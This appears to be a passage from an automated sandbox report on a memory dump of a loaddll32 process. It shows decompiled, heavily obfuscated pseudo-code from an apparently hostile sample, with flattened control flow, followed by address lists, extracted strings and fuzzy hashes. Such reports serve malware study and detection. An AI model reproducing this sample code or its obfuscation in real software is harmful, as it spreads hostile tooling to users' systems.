				_v2816 = _v2816 + 0xb943;
				_v2816 = _v2816 ^ 0xef313dc6;
				_v2644 = 0x831e64;
				_v2644 = _v2644 << 7;
				_v2644 = _v2644 ^ 0x418cd6ce;
				_v2792 = 0xb71d5;
				_v2792 = _v2792 + 0xd0e6;
				_v2792 = _v2792 >> 1;
				_v2792 = _v2792 ^ 0x000ab854;
				_v2800 = 0xbc4add;
				_v2800 = _v2800 >> 4;
				_v2800 = _v2800 >> 4;
				_v2800 = _v2800 ^ 0x000f3ccc;
				_v2860 = 0xc7de55;
				_v2860 = _v2860 >> 8;
				_v2860 = _v2860 >> 3;
				_v2860 = _v2860 + 0xffffb96d;
				_v2860 = _v2860 ^ 0xfff9a10f;
				_v2868 = 0x50e0;
				_v2868 = _v2868 << 0x10;
				_v2868 = _v2868 ^ 0x31c9bada;
				_v2868 = _v2868 << 3;
				_v2868 = _v2868 ^ 0x0945daeb;
				_v2876 = 0x5f8cf7;
				_v2876 = _v2876 ^ 0xc877f21d;
				_v2876 = _v2876 + 0x5049;
				_v2876 = _v2876 ^ 0xb9ce624b;
				_v2876 = _v2876 ^ 0x71e38bc3;
				_v2884 = 0xd45199;
				_v2884 = _v2884 + 0x1b0f;
				_v2884 = _v2884 ^ 0x78878a0d;
				_v2884 = _v2884 >> 0x10;
				_v2884 = _v2884 ^ 0x0002122d;
				_v2784 = 0xb41ca7;
				_v2784 = _v2784 >> 6;
				_v2784 = _v2784 << 5;
				_v2784 = _v2784 ^ 0x005b868a;
				_v2636 = 0x8dae72;
				_v2636 = _v2636 + 0xffffc621;
				_v2636 = _v2636 ^ 0x008635a7;
				_v2664 = 0x1c5bb7;
				_v2664 = _v2664 + 0x2d8a;
				_v2664 = _v2664 ^ 0x0011f5d8;
				_v2760 = 0x485545;
				_t204 =  &_v2760; // 0x485545
				_t795 = 0x2b;
				_v2760 =  *_t204 / _t795;
				_t210 =  &_v2760; // 0x772920e1
				_t796 = 0x33;
				_v2760 =  *_t210 / _t796;
				_v2760 = _v2760 ^ 0x0005bb0a;
				_v2768 = 0x206724;
				_v2768 = _v2768 + 0xbd1f;
				_t797 = 0x66;
				_v2768 = _v2768 * 0x7b;
				_v2768 = _v2768 ^ 0x0fe22bc5;
				_v2776 = 0x718f5a;
				_v2776 = _v2776 * 0x3f;
				_v2776 = _v2776 ^ 0xe004a3c2;
				_v2776 = _v2776 ^ 0xfbf0dedb;
				_v2852 = 0x30668;
				_v2852 = _v2852 / _t797;
				_v2852 = _v2852 * 0x79;
				_t798 = 0x34;
				_v2852 = _v2852 * 0x41;
				_v2852 = _v2852 ^ 0x00e90d43;
				_v2880 = 0xddde8d;
				_v2880 = _v2880 + 0xffff9e4d;
				_v2880 = _v2880 ^ 0x2170423a;
				_v2880 = _v2880 >> 1;
				_v2880 = _v2880 ^ 0x10d47b31;
				_v2764 = 0x8f88ee;
				_v2764 = _v2764 + 0xffff0386;
				_v2764 = _v2764 * 0x4a;
				_v2764 = _v2764 ^ 0x293e38ba;
				_v2932 = 0x1330a6;
				_v2932 = _v2932 << 0x10;
				_v2932 = _v2932 ^ 0x26950d85;
				_v2932 = _v2932 | 0xf53ba417;
				_v2932 = _v2932 ^ 0xf73491db;
				_v2848 = 0x8b68d8;
				_v2848 = _v2848 + 0xffffc5d2;
				_v2848 = _v2848 / _t798;
				_t799 = 0x44;
				_v2848 = _v2848 * 0x12;
				_v2848 = _v2848 ^ 0x00302441;
				_v2796 = 0x487ac0;
				_v2796 = _v2796 >> 2;
				_v2796 = _v2796 << 2;
				_v2796 = _v2796 ^ 0x0044512a;
				_v2788 = 0x814d4e;
				_v2788 = _v2788 << 0xd;
				_v2788 = _v2788 + 0xffffeb04;
				_v2788 = _v2788 ^ 0x29afe2cb;
				_v2648 = 0x81f400;
				_v2648 = _v2648 / _t799;
				_v2648 = _v2648 ^ 0x0007d40f;
				_v2924 = 0x344f86;
				_v2924 = _v2924 * 0x6e;
				_v2924 = _v2924 | 0xa7e46eb9;
				_v2924 = _v2924 << 7;
				_v2924 = _v2924 ^ 0xff3431be;
				_v2696 = 0x5309a4;
				_v2696 = _v2696 + 0xabda;
				_v2696 = _v2696 ^ 0x0057eeeb;
				_v2640 = 0xcd8354;
				_v2640 = _v2640 * 0x30;
				_v2640 = _v2640 ^ 0x268d1ae3;
				_v2736 = 0x8b4c85;
				_v2736 = _v2736 + 0xffffcdbf;
				_v2736 = _v2736 >> 9;
				_v2736 = _v2736 ^ 0x00036e60;
				_v2700 = 0x49adfc;
				_v2700 = _v2700 | 0xa8ad8379;
				_v2700 = _v2700 ^ 0xa8e07f1f;
				_v2836 = 0x26ed3a;
				_v2836 = _v2836 << 4;
				_v2836 = _v2836 ^ 0xdd500379;
				_v2836 = _v2836 ^ 0x075ca1f5;
				_v2836 = _v2836 ^ 0xd8654197;
				_v2864 = 0x88b41;
				_v2864 = _v2864 ^ 0x8a41e3e3;
				_v2864 = _v2864 << 2;
				_v2864 = _v2864 * 0x3d;
				_v2864 = _v2864 ^ 0xcdf16822;
				_v2712 = 0x130ad6;
				_v2712 = _v2712 + 0x26b0;
				_v2712 = _v2712 ^ 0x001463fa;
				_v2912 = 0xf18913;
				_t800 = 0x60;
				_v2912 = _v2912 / _t800;
				_v2912 = _v2912 ^ 0xfb8d6542;
				_v2912 = _v2912 ^ 0x1ef95146;
				_v2912 = _v2912 ^ 0xe575fcb3;
				_v2832 = 0xd4991f;
				_v2832 = _v2832 >> 1;
				_t801 = 0x19;
				_v2832 = _v2832 * 0x39;
				_v2832 = _v2832 + 0x6431;
				_v2832 = _v2832 ^ 0x17a3d9f5;
				_v2840 = 0x943911;
				_v2840 = _v2840 ^ 0xe2670b6e;
				_v2840 = _v2840 + 0x24d4;
				_v2840 = _v2840 << 0xd;
				_v2840 = _v2840 ^ 0x6aeb880a;
				_v2904 = 0xa538e8;
				_v2904 = _v2904 >> 0xc;
				_v2904 = _v2904 ^ 0x62edf37a;
				_v2904 = _v2904 + 0xa832;
				_v2904 = _v2904 ^ 0x62e4cbfc;
				_v2888 = 0x16e2bd;
				_v2888 = _v2888 + 0xffff7f28;
				_v2888 = _v2888 * 0x64;
				_v2888 = _v2888 >> 7;
				_v2888 = _v2888 ^ 0x0018f901;
				_v2656 = 0x3f6e99;
				_v2656 = _v2656 >> 0xb;
				_v2656 = _v2656 ^ 0x0009fe52;
				_v2804 = 0xfa19bd;
				_v2804 = _v2804 / _t801;
				_v2804 = _v2804 << 0xa;
				_v2804 = _v2804 ^ 0x28048f08;
				_v2856 = 0x7adc8b;
				_t802 = 3;
				_v2856 = _v2856 / _t802;
				_v2856 = _v2856 << 0xe;
				_v2856 = _v2856 << 9;
				_v2856 = _v2856 ^ 0x17040ca6;
				_v2896 = 0x5caea7;
				_t803 = 0x48;
				_v2896 = _v2896 / _t803;
				_v2896 = _v2896 + 0xffff6657;
				_v2896 = _v2896 + 0xa67d;
				_v2896 = _v2896 ^ 0x000329ba;
				_v2812 = 0x1fcfbe;
				_v2812 = _v2812 >> 6;
				_t804 = 0x38;
				_v2812 = _v2812 / _t804;
				_v2812 = _v2812 ^ 0x0007b63c;
				_v2720 = 0xe95658;
				_v2720 = _v2720 >> 7;
				_v2720 = _v2720 ^ 0x00071478;
				_v2808 = 0x91ff61;
				_v2808 = _v2808 << 7;
				_v2808 = _v2808 | 0xd2954662;
				_v2808 = _v2808 ^ 0xdaf4ea8a;
				_v2824 = 0x446ad6;
				_v2824 = _v2824 ^ 0x83a91402;
				_t805 = 0x4c;
				_v2824 = _v2824 * 0x45;
				_v2824 = _v2824 >> 0x10;
				_v2824 = _v2824 ^ 0x000353dc;
				_v2708 = 0x4b7422;
				_v2708 = _v2708 >> 3;
				_v2708 = _v2708 ^ 0x0008e5f0;
				_v2844 = 0xac34a;
				_v2844 = _v2844 * 0xd;
				_v2844 = _v2844 * 0x1a;
				_v2844 = _v2844 >> 0x10;
				_v2844 = _v2844 ^ 0x0002a3d0;
				_v2716 = 0x7960bf;
				_v2716 = _v2716 + 0xffffc462;
				_v2716 = _v2716 ^ 0x007665d3;
				_v2744 = 0xbebd75;
				_v2744 = _v2744 ^ 0x7a1f8fc9;
				_v2744 = _v2744 / _t805;
				_v2744 = _v2744 ^ 0x0198bdde;
				_v2752 = 0x962c9a;
				_v2752 = _v2752 + 0xfffffa67;
				_t806 = 0x2e;
				_v2752 = _v2752 / _t806;
				_v2752 = _v2752 ^ 0x00030d52;
				_v2920 = 0x9dfed8;
				_v2920 = _v2920 ^ 0x0302cebd;
				_v2920 = _v2920 + 0x73d2;
				_v2920 = _v2920 >> 0xf;
				_v2920 = _v2920 ^ 0x000ba8ee;
				_v2872 = 0x884e2b;
				_v2872 = _v2872 | 0x5783eec3;
				_v2872 = _v2872 << 7;
				_v2872 = _v2872 + 0x1dcf;
				_v2872 = _v2872 ^ 0xc5fa8f40;
				_v2668 = 0x393d56;
				_v2668 = _v2668 >> 6;
				_v2668 = _v2668 ^ 0x0000ab92;
				_v2704 = 0x58f1e9;
				_t807 = 0x7c;
				_v2704 = _v2704 / _t807;
				_v2704 = _v2704 ^ 0x00048cf6;
				_v2820 = 0x3ec6d0;
				_v2820 = _v2820 + 0x5fc5;
				_t808 = 0x21;
				_v2820 = _v2820 / _t808;
				_v2820 = _v2820 ^ 0xd86d8e19;
				_v2820 = _v2820 ^ 0xd8634d78;
				_v2828 = 0xe4a70b;
				_v2828 = _v2828 ^ 0x2abc0881;
				_v2828 = _v2828 ^ 0xa79f6464;
				_v2828 = _v2828 >> 0xf;
				_v2828 = _v2828 ^ 0x000c3a60;
				_v2684 = 0x315a2d;
				_v2684 = _v2684 | 0xacf80d9c;
				_v2684 = _v2684 ^ 0xacfa1597;
				_v2692 = 0x63e424;
				_v2692 = _v2692 + 0x44ad;
				_v2692 = _v2692 ^ 0x0068b9d0;
				_v2724 = 0xdbaa4f;
				_v2724 = _v2724 + 0xffffd825;
				_v2724 = _v2724 ^ 0x00d800e8;
				_v2728 = 0xc5e7f7;
				_v2728 = _v2728 << 0xf;
				_v2728 = _v2728 << 0xd;
				_v2728 = _v2728 ^ 0x7003c940;
				_v2676 = 0x7098dc;
				_v2676 = _v2676 ^ 0x810ef473;
				_v2676 = _v2676 ^ 0x817bc99c;
				_t755 = E007AADFC();
				_t876 = _v2724;
				_t791 = _t755;
				while(1) {
					L1:
					_t756 = 0x32a72b9;
					do {
						while(1) {
							L2:
							_t887 = _t877 - 0x99d8a48;
							if(_t887 > 0) {
								break;
							}
							if(_t887 == 0) {
								_push(_t809);
								_t809 = _v2756;
								E007AE259(_t809, _v2660, _v2900, _v2688, _t809, _t809,  &_v1564, _v2908, _v2916);
								_t883 =  &(_t883[8]);
								_t877 = 0xe471d7b;
								while(1) {
									L1:
									_t756 = 0x32a72b9;
									goto L2;
								}
							} else {
								if(_t877 == 0xe4882e) {
									_v2620 = E007A3789();
									_t779 = E007AF14F(_v2932, _t778, _v2848, _v2796);
									_pop(_t812);
									_v2616 = 2 + _t779 * 2;
									_t809 = _v2788;
									_t773 = E007B8727(_t809,  &_v2624, _v2648, _t791, _v2924, _v2732, _v2696, _t791, _t812, _t791, _v2640);
									_t883 =  &(_t883[0xa]);
									__eflags = _t773;
									if(__eflags != 0) {
										_t877 = 0xc8e8e82;
										while(1) {
											L1:
											_t756 = 0x32a72b9;
											goto L2;
										}
									}
								} else {
									if(_t877 == _t756) {
										_push(0x7a12a0);
										E007A8C65(_v2888, __eflags,  &_v2604,  &_v1564, _v2656, _t876, _v2804, E007C0AD3(_v2840, _v2904, __eflags), _v2856,  &_v524, _v2896, _v2812);
										_t809 = _v2720;
										E007B2EED(_t809, _v2808, _v2824, _t782);
										_t883 =  &(_t883[0xc]);
										_t877 = 0xca1945b;
										while(1) {
											L1:
											_t756 = 0x32a72b9;
											goto L2;
										}
									} else {
										if(_t877 == 0x3352d63) {
											_t809 = _v2864;
											_t788 = E007A7739(_t809, _v2712, _v2632, _v2912, _v2628, _v2832);
											_t876 = _t788;
											_t883 =  &(_t883[4]);
											__eflags = _t788;
											_t756 = 0x32a72b9;
											_t877 =  !=  ? 0x32a72b9 : 0xc5894d6;
											continue;
										} else {
											if(_t877 == 0x5779399) {
												return E007B9038(_v2724, _v2728, _v2624, _v2676);
											}
											if(_t877 != 0x58d7aaf) {
												goto L24;
											} else {
												_t809 = _v2920;
												E007AF699(_t809, _t876, _v2872, _v2668, _v2704);
												_t883 =  &(_t883[3]);
												_t877 = 0xc5894d6;
												while(1) {
													L1:
													_t756 = 0x32a72b9;
													goto L2;
												}
											}
										}
									}
									L28:
								}
							}
							L27:
							return _t773;
							goto L28;
						}
						__eflags = _t877 - 0xc5894d6;
						if(_t877 == 0xc5894d6) {
							_t809 = _v2820;
							E007AF699(_t809, _v2632, _v2828, _v2684, _v2692);
							_t883 =  &(_t883[3]);
							_t877 = 0x5779399;
							_t756 = 0x32a72b9;
							goto L24;
						} else {
							__eflags = _t877 - 0xc8e8e82;
							if(_t877 == 0xc8e8e82) {
								_t809 = _v2736;
								E007B7EDD( &_v2624, _v2700,  &_v2632, _v2836);
								_t883 =  &(_t883[3]);
								asm("sbb esi, esi");
								_t877 = (_t877 & 0xfdbd99ca) + 0x5779399;
								goto L1;
							} else {
								__eflags = _t877 - 0xca1945b;
								if(__eflags == 0) {
									_push(_v2752);
									_push( &_v524);
									_push(0);
									_push(_v2744);
									_push(_v2716);
									_push(_v2844);
									_push(1);
									_push(0);
									E007C06EF(_v2708, __eflags);
									_t883 =  &(_t883[8]);
									_t877 = 0x58d7aaf;
									while(1) {
										L1:
										_t756 = 0x32a72b9;
										goto L2;
									}
								} else {
									__eflags = _t877 - 0xe471d7b;
									if(__eflags != 0) {
										goto L24;
									} else {
										E007A24AA(_t809, _v2652, __eflags,  &_v2084, _v2680, _v2740, _v2780);
										_t766 = E007B0F17(_v2892, _v2748,  &_v2084, _v2772, _v2672);
										_t884 =  &(_t883[7]);
										 *_t766 = 0;
										E007BCC3F(_v2816,  &_v1044, __eflags, _v2644);
										 *_t884 = 0x7a11b0;
										E007C06A6(__eflags,  &_v2084, _v2860, E007C0AD3(_v2792, _v2800, __eflags), _v2868, _v2876,  &_v2604, _v2884);
										E007B2EED(_v2784, _v2636, _v2664, _t768);
										_t809 =  &_v2604;
										_t773 = E007C3306(_t809, _v2760, _v2768, _v2776, _t882, _v2852);
										_t883 =  &(_t884[0xd]);
										__eflags = _t773;
										if(__eflags != 0) {
											_t877 = 0xe4882e;
											while(1) {
												L1:
												_t756 = 0x32a72b9;
												goto L2;
											}
										}
									}
								}
							}
						}
						goto L27;
						L24:
						__eflags = _t877 - 0x51bfa3f;
					} while (__eflags != 0);
					return _t756;
				}
			}

0x007b1c12
0x007b1c18
0x007b1c22
0x007b1c2d
0x007b1c38
0x007b1c40
0x007b1c4b
0x007b1c56
0x007b1c61
0x007b1c6c
0x007b1c74
0x007b1c7c
0x007b1c84
0x007b1c8c
0x007b1c94
0x007b1cac
0x007b1cae
0x007b1cb3
0x007b1cb8
0x007b1cbf
0x007b1cca
0x007b1cd5
0x007b1cdd
0x007b1ce9
0x007b1ced
0x007b1cf5
0x007b1cfd
0x007b1d08
0x007b1d13
0x007b1d1e
0x007b1d26
0x007b1d2e
0x007b1d3e
0x007b1d42
0x007b1d4a
0x007b1d52
0x007b1d57
0x007b1d5f
0x007b1d67
0x007b1d6f
0x007b1d82
0x007b1d83
0x007b1d8a
0x007b1d95
0x007b1da9
0x007b1db0
0x007b1dbb
0x007b1dc6
0x007b1dd1
0x007b1ddc
0x007b1de7
0x007b1df2
0x007b1dfa
0x007b1e02
0x007b1e0d
0x007b1e15
0x007b1e1d
0x007b1e22
0x007b1e2a
0x007b1e32
0x007b1e3d
0x007b1e48
0x007b1e53
0x007b1e5e
0x007b1e66
0x007b1e71
0x007b1e7e
0x007b1e89
0x007b1e94
0x007b1e9f
0x007b1eaa
0x007b1eb5
0x007b1ec0
0x007b1ecb
0x007b1ed6
0x007b1ede
0x007b1ee9
0x007b1ef4
0x007b1eff
0x007b1f06
0x007b1f11
0x007b1f1c
0x007b1f24
0x007b1f2c
0x007b1f37
0x007b1f3f
0x007b1f44
0x007b1f49
0x007b1f51
0x007b1f59
0x007b1f61
0x007b1f66
0x007b1f6e
0x007b1f73
0x007b1f7b
0x007b1f83
0x007b1f8b
0x007b1f93
0x007b1f9b
0x007b1fa3
0x007b1fab
0x007b1fb3
0x007b1fbb
0x007b1fc0
0x007b1fc8
0x007b1fd3
0x007b1fdb
0x007b1fe3
0x007b1fee
0x007b1ff9
0x007b2004
0x007b200f
0x007b201a
0x007b2025
0x007b2030
0x007b203b
0x007b2044
0x007b2049
0x007b2052
0x007b2059
0x007b205e
0x007b2067
0x007b2072
0x007b207d
0x007b2090
0x007b2091
0x007b2098
0x007b20a3
0x007b20b6
0x007b20bd
0x007b20c8
0x007b20d3
0x007b20e1
0x007b20ea
0x007b20f7
0x007b20fa
0x007b20fe
0x007b2106
0x007b210e
0x007b2116
0x007b211e
0x007b2122
0x007b212a
0x007b2135
0x007b2148
0x007b214f
0x007b215a
0x007b2162
0x007b2167
0x007b216f
0x007b2177
0x007b217f
0x007b2187
0x007b2197
0x007b21a0
0x007b21a1
0x007b21a5
0x007b21ad
0x007b21b8
0x007b21c0
0x007b21c8
0x007b21d3
0x007b21de
0x007b21e6
0x007b21f1
0x007b21fc
0x007b2210
0x007b2217
0x007b2222
0x007b222f
0x007b2233
0x007b223b
0x007b2240
0x007b2248
0x007b2253
0x007b225e
0x007b2269
0x007b227c
0x007b2283
0x007b228e
0x007b2299
0x007b22a4
0x007b22ac
0x007b22b7
0x007b22c2
0x007b22cd
0x007b22d8
0x007b22e0
0x007b22e5
0x007b22ed
0x007b22f5
0x007b22fd
0x007b2305
0x007b230d
0x007b2317
0x007b231b
0x007b2323
0x007b232e
0x007b2339
0x007b2344
0x007b2354
0x007b2359
0x007b235f
0x007b2367
0x007b236f
0x007b2377
0x007b237f
0x007b2388
0x007b238b
0x007b238f
0x007b2397
0x007b239f
0x007b23a7
0x007b23af
0x007b23b7
0x007b23bc
0x007b23c4
0x007b23cc
0x007b23d1
0x007b23d9
0x007b23e1
0x007b23e9
0x007b23f1
0x007b23fe
0x007b2402
0x007b2407
0x007b240f
0x007b241a
0x007b2422
0x007b242d
0x007b2443
0x007b244a
0x007b2452
0x007b245d
0x007b2469
0x007b246e
0x007b2474
0x007b2479
0x007b247e
0x007b2486
0x007b2492
0x007b2497
0x007b249d
0x007b24a5
0x007b24ad
0x007b24b5
0x007b24c0
0x007b24cf
0x007b24d2
0x007b24d9
0x007b24e4
0x007b24ef
0x007b24f7
0x007b2502
0x007b250d
0x007b2515
0x007b2520
0x007b252b
0x007b2533
0x007b2544
0x007b2547
0x007b254e
0x007b2556
0x007b2561
0x007b256c
0x007b2574
0x007b257f
0x007b258c
0x007b2595
0x007b2599
0x007b259e
0x007b25a6
0x007b25b1
0x007b25bc
0x007b25c7
0x007b25d2
0x007b25e8
0x007b25ef
0x007b25fa
0x007b2605
0x007b2617
0x007b261c
0x007b2625
0x007b2630
0x007b2638
0x007b2640
0x007b2648
0x007b264d
0x007b2655
0x007b265d
0x007b2665
0x007b266a
0x007b2672
0x007b267a
0x007b2685
0x007b268d
0x007b2698
0x007b26aa
0x007b26af
0x007b26b8
0x007b26c3
0x007b26ce
0x007b26e0
0x007b26e3
0x007b26ea
0x007b26f5
0x007b2700
0x007b2708
0x007b2710
0x007b2718
0x007b271d
0x007b2725
0x007b2730
0x007b273b
0x007b2746
0x007b2751
0x007b275c
0x007b2767
0x007b2772
0x007b277d
0x007b2788
0x007b2793
0x007b279b
0x007b27a3
0x007b27ae
0x007b27b9
0x007b27c4
0x007b27d3
0x007b27d8
0x007b27df
0x007b27e1
0x007b27e1
0x007b27e1
0x007b27e6
0x007b27e6
0x007b27e6
0x007b27e6
0x007b27ec
0x00000000
0x00000000
0x007b27f2
0x007b2999
0x007b29be
0x007b29c5
0x007b29ca
0x007b29cd
0x007b27e1
0x007b27e1
0x007b27e1
0x00000000
0x007b27e1
0x007b27f8
0x007b27fe
0x007b2928
0x007b2937
0x007b293d
0x007b2956
0x007b2977
0x007b297f
0x007b2984
0x007b2987
0x007b2989
0x007b298f
0x007b27e1
0x007b27e1
0x007b27e1
0x00000000
0x007b27e1
0x007b27e1
0x007b2804
0x007b2806
0x007b289a
0x007b28e2
0x007b28f6
0x007b28fd
0x007b2902
0x007b2905
0x007b27e1
0x007b27e1
0x007b27e1
0x00000000
0x007b27e1
0x007b280c
0x007b2812
0x007b2870
0x007b2874
0x007b2879
0x007b287b
0x007b287e
0x007b2885
0x007b288a
0x00000000
0x007b2814
0x007b281a
0x00000000
0x007b2bfe
0x007b2826
0x00000000
0x007b282c
0x007b2840
0x007b2844
0x007b2849
0x007b284c
0x007b27e1
0x007b27e1
0x007b27e1
0x00000000
0x007b27e1
0x007b27e1
0x007b2826
0x007b2812
0x00000000
0x007b2806
0x007b27fe
0x007b2c09
0x007b2c09
0x00000000
0x007b2c09
0x007b29d7
0x007b29dd
0x007b2bb5
0x007b2bbc
0x007b2bc1
0x007b2bc4
0x007b2bc9
0x00000000
0x007b29e3
0x007b29e3
0x007b29e9
0x007b2b6e
0x007b2b7c
0x007b2b81
0x007b2b86
0x007b2b8e
0x00000000
0x007b29ef
0x007b29ef
0x007b29f5
0x007b2b1b
0x007b2b29
0x007b2b2a
0x007b2b2c
0x007b2b33
0x007b2b3a
0x007b2b45
0x007b2b47
0x007b2b49
0x007b2b4e
0x007b2b51
0x007b27e1
0x007b27e1
0x007b27e1
0x00000000
0x007b27e1
0x007b29fb
0x007b29fb
0x007b2a01
0x00000000
0x007b2a07
0x007b2a2b
0x007b2a51
0x007b2a56
0x007b2a62
0x007b2a73
0x007b2a86
0x007b2abd
0x007b2adb
0x007b2ae4
0x007b2b01
0x007b2b06
0x007b2b09
0x007b2b0b
0x007b2b11
0x007b27e1
0x007b27e1
0x007b27e1
0x00000000
0x007b27e1
0x007b27e1
0x007b2b0b
0x007b2a01
0x007b29f5
0x007b29e9
0x00000000
0x007b2bce
0x007b2bce
0x007b2bce
0x00000000
0x007b27e6

Strings

P, xrefs: 007B1F59
W, xrefs: 007B225E
)wEUH, xrefs: 007B2052
-Z1, xrefs: 007B2725
XV, xrefs: 007B24E4
*QD, xrefs: 007B21C8
V=9, xrefs: 007B267A
$c, xrefs: 007B2746
E`K, xrefs: 007B1E32
$g , xrefs: 007B2072
"tK, xrefs: 007B2561
A$0, xrefs: 007B21A5
EUH, xrefs: 007B203B
1d, xrefs: 007B238F
:&, xrefs: 007B22D8
:Bp!, xrefs: 007B2116

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: "tK$$g $$c$*QD$-Z1$1d$:Bp!$:&$A$0$EUH$E`K$V=9$XV$ )wEUH$P$W
API String ID: 0-3509732160
Opcode ID: 308319e4a42d2928065339816d545d73737b4b217e45fb13fa9b2149c5d1e52b
Instruction ID: 35b03e655f05c5c1f57a1165d6530aea517ecabd6da43a8915caf596a42002e2
Opcode Fuzzy Hash: 308319e4a42d2928065339816d545d73737b4b217e45fb13fa9b2149c5d1e52b
Instruction Fuzzy Hash: 0D72F071509380DBD378CF21C58AB8BBBE1BBC4308F108A1DE6D996260DBB59949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 007A996C, Relevance: 19.4, Strings: 15, Instructions: 674
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E007A996C(signed int* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, signed int _a36, intOrPtr _a40) {
				signed int* _v4;
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				void* __ecx;
				signed int _t757;
				void* _t765;
				signed int _t769;
				signed int _t775;
				signed int _t786;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t791;
				signed int _t792;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t798;
				signed int _t799;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				void* _t805;
				signed int _t814;
				intOrPtr* _t823;
				void* _t874;
				signed int _t891;
				signed int _t892;
				signed int _t893;
				signed int _t895;
				signed int* _t902;
				void* _t904;

				_push(_a40);
				_push(_a36);
				_v4 = __edx;
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20 & 0x0000ffff);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E007A8002(_a20 & 0x0000ffff);
				_v264 = 0xc60fd9;
				_v264 = _v264 >> 0xb;
				_t902 =  &(( &_v268)[0xc]);
				_v264 = _v264 ^ 0xb6865c26;
				_v264 = _v264 ^ 0xb68644e7;
				_t786 = 0;
				_v232 = 0x94febf;
				_t893 = 0x15b98a1;
				_v232 = _v232 << 0xd;
				_v232 = _v232 + 0xffff7487;
				_v232 = _v232 ^ 0x8b0095cf;
				_v232 = _v232 ^ 0x14d7c15b;
				_v132 = 0x739728;
				_v132 = _v132 + 0x181a;
				_v132 = _v132 + 0xffff9c9c;
				_v132 = _v132 ^ 0x00734b16;
				_v188 = 0x783031;
				_v188 = _v188 << 5;
				_v12 = 0;
				_t788 = 0x6e;
				_v188 = _v188 * 0x59;
				_v188 = _v188 ^ 0x3918a120;
				_v148 = 0xdd82e;
				_v148 = _v148 | 0xe4e540fc;
				_v148 = _v148 + 0xc534;
				_v148 = _v148 ^ 0xe4eede32;
				_v116 = 0x899f5;
				_v116 = _v116 / _t788;
				_v116 = _v116 + 0x5648;
				_v116 = _v116 ^ 0x00406a4c;
				_v156 = 0x9ca5d6;
				_t789 = 0x1c;
				_t891 = 0x7b;
				_v156 = _v156 * 0x64;
				_v156 = _v156 << 9;
				_v156 = _v156 ^ 0x618b3000;
				_v32 = 0xd5cd6e;
				_v32 = _v32 / _t789;
				_v32 = _v32 ^ 0x0407a2c3;
				_v64 = 0x23343;
				_v64 = _v64 / _t891;
				_v64 = _v64 ^ 0x00080494;
				_v252 = 0xfa5485;
				_v252 = _v252 * 0x42;
				_v252 = _v252 | 0xc32886a6;
				_t790 = 0x50;
				_v252 = _v252 * 0x35;
				_v252 = _v252 ^ 0x8227d546;
				_v224 = 0x2e8bf6;
				_v224 = _v224 | 0xf76545cb;
				_v224 = _v224 / _t790;
				_v224 = _v224 << 6;
				_v224 = _v224 ^ 0xc5f30dc0;
				_v16 = 0x78ee4b;
				_v16 = _v16 << 1;
				_v16 = _v16 ^ 0x80f1dc96;
				_v208 = 0x791fee;
				_v208 = _v208 >> 8;
				_v208 = _v208 >> 2;
				_v208 = _v208 >> 0xb;
				_v208 = _v208 ^ 0x00000003;
				_v152 = 0xbd5041;
				_t791 = 5;
				_v152 = _v152 / _t791;
				_v152 = _v152 + 0x721a;
				_v152 = _v152 ^ 0x00264eb2;
				_v136 = 0x6c2d31;
				_v136 = _v136 + 0xffff6aee;
				_v136 = _v136 ^ 0x21760cef;
				_v136 = _v136 ^ 0x211d94ef;
				_v120 = 0x6ceb08;
				_v120 = _v120 + 0xffffcbf6;
				_v120 = _v120 ^ 0x9f43d110;
				_v120 = _v120 ^ 0x9f2f67f1;
				_v88 = 0xc74391;
				_v88 = _v88 + 0xffff6c5e;
				_v88 = _v88 ^ 0x00c6afec;
				_v128 = 0x4b3465;
				_v128 = _v128 | 0xcf5ecbdf;
				_v128 = _v128 ^ 0xcf5ffeff;
				_v264 = 0xfd23b8;
				_t792 = 0x4e;
				_v264 = _v264 / _t792;
				_t793 = 0x45;
				_v264 = _v264 / _t793;
				_v264 = _v264 ^ 0x0002f78a;
				_v264 = 0xfa9619;
				_t794 = 0x1e;
				_v264 = _v264 / _t794;
				_v264 = _v264 + 0xffffb0fb;
				_v264 = _v264 ^ 0x000b775c;
				_v264 = 0x807ba4;
				_v264 = _v264 << 4;
				_v264 = _v264 << 0xa;
				_v264 = _v264 ^ 0x1ee80ab8;
				_v264 = 0x9af257;
				_v264 = _v264 << 0xb;
				_v264 = _v264 * 0x56;
				_v264 = _v264 ^ 0x6b422079;
				_v268 = 0x26ec4d;
				_v268 = _v268 << 0xc;
				_v268 = _v268 >> 0xe;
				_v268 = _v268 ^ 0xbf1cc723;
				_v268 = _v268 ^ 0xbf1316e8;
				_v268 = 0x604ef4;
